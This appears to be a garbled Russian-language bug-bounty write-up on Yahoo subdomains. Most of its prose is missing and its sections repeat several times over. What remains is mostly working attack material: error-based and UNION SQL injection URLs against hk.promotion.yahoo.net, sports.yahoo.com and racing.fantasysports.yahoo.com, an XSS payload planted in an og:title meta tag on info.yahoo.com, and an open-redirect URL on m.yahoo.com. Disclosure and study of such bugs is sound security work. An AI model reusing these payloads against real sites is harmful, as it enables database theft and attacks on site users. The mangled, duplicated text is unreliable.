. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

                               . 
    ,        XSS. 
 
  . SQLi  *.sports.yahoo.com. 
  .       
 http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711 
       .  ,    race .    ,   ,   .   ,    "<"  ">".   -  BETWEEN   . Union select  .     -   username@% -    IP.           -    ,  ,  . - ,  ,   . , -, ,       SQLi-,    .   : 
 sports.yahoo.com/golf/pga/schedule?season=2013 
 sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013 
 sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012 
 sports.yahoo.com/golf/lpga/schedule?season=2012 
 sports.yahoo.com/golf/champions/schedule?season=2012 
 sports.yahoo.com/golf/web.com/schedule?season=2013 
 sports.yahoo.com/golf/european/schedule?season=2013 
 sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012 
 : 
 sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23 
 sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013 
 sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR 
 sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29 
 ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting 
 ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting 
 ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting 
 ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0 
 ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013 
 ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013 
 sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29 
 : 
 sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013 
 : 
 racing.fantasysports.yahoo.com/auto/expertpicks?week=35 
 racing.fantasysports.yahoo.com/auto/playerdistribution?week=35 
    (stat1/2): 
 baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013 
 football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013 
 baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1 
 basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012 
 basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1 
    : 
 - Union select - - , - . 
 -       ,       USERNAME@% 
 -   @@hostname  ,     40+ .           MySQL.          .           ,        .           .      . 
 -   ,     year=postseason_2013      information_schema,       .      ,      hex,   -  . 
 
     : 
 racing.fantasysports.yahoo.com/auto/playerdistribution?week=35 
    UNION SELECT: 
 http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2 
       .     -     ,       ,       . ,   ,       UNION   "  -  ".  : 
 union select 1, ord(substr(user(),1,1))/100,1 
          . 
 
      : 
  
      SQL    .   . 
 
  . Open redirect  m.yahoo.com. 
    m.yahoo.com,      (      : dark side of reproduce this bug ),        : 
 Welcome to Yahoo 
 Thanks for signing in! 
 It looks like you customized your Home Page before you signed in. What would you like to do? 
 [radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview 
     "Not sure".   POST-  : 
 m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en 
    Firebug'      GET: 
 m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS 
   -      .     , ,  POST-,    $_POST    $_REQUEST .    XSS,    done ,       ,  ""  ycb    : 
 http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED 
 
  ,    ,     : "   ?!".     Yahoo  394 . 
 
  . SQLi  hk.promotion.yahoo.net. 
    .    ,    ,    yahoo.net   .    ,  .   -  .     . 
 
      , error-based SQLi: 
 http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928 
 
  ,   . XSS  info.yahoo.com. 
      (    ). 
 http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390 
 
   -       ,  .   -      . 
  
         .    http  https.   ,  ,  ,  ,   meta- og:title  og:description .         meta- : 
 <meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/> 
   XSS.      .        XSS,   Chrome,    . 
 
 . 
      ,    Yahoo.         .      .      ,    . 
 
  . 
     finance.yahoo.com.   ,  UNION SELECT SQLi c  .    : 
 21.11 -    
 25.11 -   
 27.11 - : "  ,   " 
 27.11 -    -  . 
 2.12 - : "         ,     ." 
 "WTF?!!!" -  .    . 
 10.12 -        .  , , ,     : ",                   .             ." 
          ,  Yahoo  XSS  SQLi    "        ": 
  
